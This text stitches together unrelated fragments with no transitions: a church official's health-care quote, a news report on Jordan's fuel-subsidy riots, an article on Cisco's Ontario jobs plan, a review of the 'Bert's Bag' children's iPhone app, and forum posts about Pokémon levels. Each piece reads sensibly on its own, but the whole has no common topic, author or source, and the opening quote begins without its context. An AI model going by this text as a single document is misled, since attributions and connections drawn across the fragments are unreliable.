"The United Church of Christ will continue to speak prophetically that health care is not only a basic human right but a human need that includes everyone," Baylor said. "We will continue to work with the faith community and the Administration to make sure that the bill is perfected and our health care system is inclusive, accessible, affordable and accountable or everyone."

Jordan had seen scores of anti-government protests, but nothing like this: For three straight nights last week, mobs angered over rising fuel prices rampaged through a half-dozen cities, torching cars and police stations and rekindling fears that one of America's closest Arab allies in the Middle East was foundering.
Then, almost as suddenly, the storm appeared to pass. Weekend demonstrations in Amman drew smaller crowds, and by Monday, officials were quietly celebrating signs of normality after the worst unrest here in 15 years.
"It will be hot for a while," said a senior security official, insisting on anonymity to discuss intelligence assessments of the uprising's trajectory. "But we see things calming down, gradually."
Just how calm, and for how long, remains to be seen. A week after the disturbances began, new protests are flaring up daily in the Jordanian capital, though most have been orderly, with participants numbering in the low hundreds. Government officials, meanwhile, are bracing for more economic turmoil in the coming weeks as they grapple with rising joblessness and a record budget deficit expected to surpass 10 percent of the country's gross domestic product.
Yet Western and Jordanian officials alike expressed confidence this week that Jordan's government had successfully weathered the most serious challenge to its survival since the start of the Arab Spring movement nearly two years ago. With the protests seemingly contained for now, Jordanian officials were fielding new offers of aid from Persian Gulf states while handing out cash payments to ease the pain of price increases among the poor and working class.
"Once these protests are behind us, it will still be a difficult year ahead," Foreign Minister Nasser Judeh said in an interview. "The one thing I can tell you is this: In the '40s, '50s and '60s, whenever bad things happened in the region, people would question Jordan's stability. But they're all gone, and we're still here."
The government's decision to cut fuel subsidies on Nov. 13 sent tens of thousands into the streets across Jordan, triggering violent clashes as well as unprecedented calls for the overthrow of King Abdullah II, the country's popular monarch. Rioting Jordanians set fire to government buildings, and some fired guns at police in melees that left one protester dead and wounded scores of people, including more than 50 police officers.
Yet ardor for revolution faded — temporarily, at least — as the country's main opposition group, the Muslim Brotherhood, distanced itself from demands to end the monarchy. Jordanian officials have accused the religious group of attempting to leverage public furor over price increases into a broader uprising.
"We are against calls for regime change," said Hamzah Mansour, leader of the Brotherhood's political arm, which toned down its rhetoric against the government after protests turned unexpectedly violent last week. "We have called, and always will call, for regime reform and democratic reforms."
Jordanian officials and many independent observers attributed the easing tensions to the country's security forces, which they say acted with restraint in tolerating peaceful protests while keeping violence from spreading. They also cited the government's decision to make quick cash payments to millions of poorer Jordanians affected by the subsidy cuts. By Tuesday, more than a million people in this country of 6 million had applied online for cash compensation of about $600, according to a government statement.
The widespread violence also appears to have shocked many ordinary Jordanians, including many who support the demonstrators' calls for political reform. Judeh, the foreign minister, described last week's violence as an aberration, out of character with what he described as a Jordanian tradition for tolerance and evolutionary change.
"We don't loot; we don't burn tires," Judeh said. "We've set a fantastic example, especially over the last two years responding to the Arab Spring, with peaceful demonstrations, freedom of expression, and in the way the security services responded."
Judeh acknowledged a "feeling of anger" that underlay the protests. "It is an economic thing, but it will contain itself," he said. "People will realize in the long term that what the government did was for the people's benefit."
Yet, amid the sighs of relief in Amman were new warnings about the formidable challenges facing Jordan, which has long been regarded as a pillar of stability in the Middle East as one of only two Arab countries with diplomatic ties to Israel. The cuts in fuel subsidies that triggered the protests were among several emergency measures intended to stop the country's fiscal hemorrhaging.
The resource-poor kingdom has struggled for years with inadequate supplies of energy and water, and its economy has been pummeled by the global economic downturn as well as a massive influx of refugees from neighboring Syria. Disruptions in the delivery of cheap natural gas from Egypt have forced the government to purchase costly alternative fuels at a cost of $4 billion over the past two years. The government has sought help from the International Monetary Fund and from wealthier Arab countries, but officials have warned of further economic austerity in the months to come, including cuts in government programs and jobs.
"Economic indicators were alarming, the situation was dangerous and there were projections that it would be impossible to navigate the ship in safe waters," Prime Minister Abdullah Ensour told reporters last week, explaining the reason for subsidy cuts that raised prices for some fuel products by more than 50 percent. He cited plummeting foreign reserves and a yawning budget gap as factors behind the "painful" and "irreversible" decision on price supports.
The Obama administration has praised Jordan for committing itself to difficult economic and political reforms, while acknowledging that the road ahead may be bumpy. Other than additional support for Syrian refugees, there have been no pledges of significant new aid for Amman from the United States, which is grappling with its own economic crisis.
"This is a set of reforms that need to be undertaken," State Department spokeswoman Victoria Nuland said of Jordan's austerity measures. "It's not easy. It's never easy. It's not easy in the European context; it's not easy in the American context when we have to make adjustments to deal with our fiscal situation."
King Abdullah has implemented constitutional and electoral reforms leading to parliamentary elections in January, and the country has launched a series of programs to reduce its near-total dependence on foreign oil and gas. But with solutions still years away, the concern in both Washington and Amman is whether Jordanians will run out of patience before the improvements are in place.
Despite the relative calm this week, Jordanian observers said the riots had exposed a deep-rooted public dissatisfaction with the Jordanian political establishment. Adding to the anger over price increases, they say, is a growing resentment over official corruption, as ordinary citizens believe they are footing the bill for government cronyism.
"The crisis is no longer an economic issue or a security issue, but a political issue that strikes to the core of citizens' grievances and lack of trust in the state," said Maher Abu Tayer, political observer and columnist for Jordan's daily newspaper ad-Dustour. While the economic crisis is real, the government lacks credibility when it raises prices at a time when "most of the public believes officials are stealing millions from the treasury," Abu Tayer said.
Jordanian officials also note what some see as a shift in the target of public anger. Until last week, protesters rarely criticized Jordan's monarch for the country's political and economic ills. But demonstrators in recent days have called for the king's ouster, and some burned his portrait. In an Amman rally by labor and professional associations on Monday, protesters compared the monarch to ousted Egyptian leader Hosni Mubarak and urged him to "return to the Hijaz," a reference to the Hashemite monarchy's Saudi Arabian lineage.
Still, protest organizers acknowledged that they do not expect to see downtown Amman transformed into Cairo's Tahrir Square anytime soon. Even at their height, the demonstrations in the capital last week drew only a few thousand people, a far cry from the massive uprisings that toppled governments in Egypt, Tunisia and Yemen. Likewise, most political parties also have distanced themselves from calls for regime change, urging instead democratic reforms that keep the Hashemite monarchy in place, said Abu Tayer, the newspaper columnist.
"You simply cannot compare the current crisis in Jordan to the uprisings in Egypt or Tunisia," he said.
But he added: "That doesn't mean that the danger isn't there."

Cisco Systems' new agreement with the Ontario government will create hundreds of jobs in Ottawa, according to Paul Howarth, the company's director of research and innovation.
An image from inside Cisco's Silicon Valley offices.
By Jacob Serebrin
The U.S.-based information technology giant announced an ambitious plan on Friday that will see the company spend as much as $4 billion on its Ontario operations over the next decade.
The agreement, which will see the provincial government kick in as much as $220 million, calls for the company to add up to 1,700 high-tech jobs in Ontario over the next six years.
The agreement also includes a "framework with the potential" to increase the company's Ontario-based head count to 5,000 by 2024, the company said in a press release.
Cisco currently employs over 300 people at its Kanata facility, the company's largest in the province. Currently, Mr. Howarth said the company's plan is to add jobs at its existing facilities. In addition to Ottawa, Cisco has smaller facilities in Toronto and Waterloo.
"It makes complete sense to expand what we have," said Mr. Howarth. "It's likely that the majority of new research and development positions will be in Kanata."
The Kanata facility currently focuses on high-end routing, mobility and cloud-based initiatives, Mr. Howarth said, describing them as "important areas for Cisco globally."
But, given the long-term nature of the deal, some elements of the company's plans are still to be decided.
The specific number of new jobs that will be created in Ottawa could vary, said Mr. Howarth and the company has not yet made any decisions about expanding their Kanata facility, though Mr. Howarth said it's not yet at capacity.
"For a company like Cisco," he said the question is: "Do you have the right talent pool?"
According to Mr. Howarth, part of the draw of expanding in Ontario is the large number of universities in the region.
"There's a very large number of engineering or computer science programs just in the Windsor-Montreal corridor," he said. "The density of schools is incredible."
Though, due to the large number of employees the company's expansion plan requires, Mr. Howarth said Cisco would be recruiting both across Canada and internationally.
"This is an incredibly significant commitment to Canada and Ontario specifically," said Mr. Howarth, adding that the province is helping to "drive the innovation machine for Cisco."

Bert's Bag
Ryan Dosier - Hi there! I've got a brand new iPhone app to review for you. Care to take a look? Well, today I played the brand new iPhone app from IDEO Toy Labs and Sesame Street, "Bert's Bag" which stars, you guessed it, Bert (Professor Hastings declined the script) and a brown paper bag.The game is very simple (which turns out is a good idea for games geared at preschoolers), because all you have to do is open Bert's bag, dump it out onto the table, and count the contents with him. There are numerous types of things to count, and all are very Bert-esque. When I played, I counted toy tops, Bert's international coin collection (which consisted of three coins), and keys.
And honestly, that's all there is to the game. I suppose there are tons of different things you could count with Bert, as each bag is different, but after three turns I was bored. In a way, I see this as perfect for Bert; a boring game with a bunch of weird items.
In the Sesame Street iPhone app hierarchy, "Bert's Bag" ranks somewhere below "Elmo's Monster Maker" and somewhere above "Rosita's Jump Count." The app is fun to count a long with and it's always fun to see Bert in new material. Eric Jacobson does a fantastic job here, as he makes Bert enthusiastic about some very lame thing.
So, overall, this app is fun for the novelty of having Bert and his excitement over a new bag. This app will be perfect for antsy preschoolers and every once in awhile I'm sure their parents will get a kick out of it too. Go, Bert!

My team from my very first play through on white is lvl 72 ish. Would have been at level 100 by now except I've been doing a few RE shiny hunts
I think my highest pokemon lv. is around 75
My Feraligatr from HeartGold. It didn't hit level 100 until White, so, that is why I say it.
But if you wanted a 5th gen Pokemon, my Haxorus from that mystery egg event.
My strongest is my Swampert from Emerald who's level 83, I think.
My first level 100 overall was my Sceptile, but my first level 100 on B/W... I actually don't know if I bothered to train one that high yet. My priority was level 50 for the VGCs.
I am a Wholockian.

However, I got my first level 100 traded to me. A fully EV-trained Level 100 Japanese Kingdra. He's pretty much an epic sweeper on my team
My first level 100 was my first starter. My trusty Infernape!
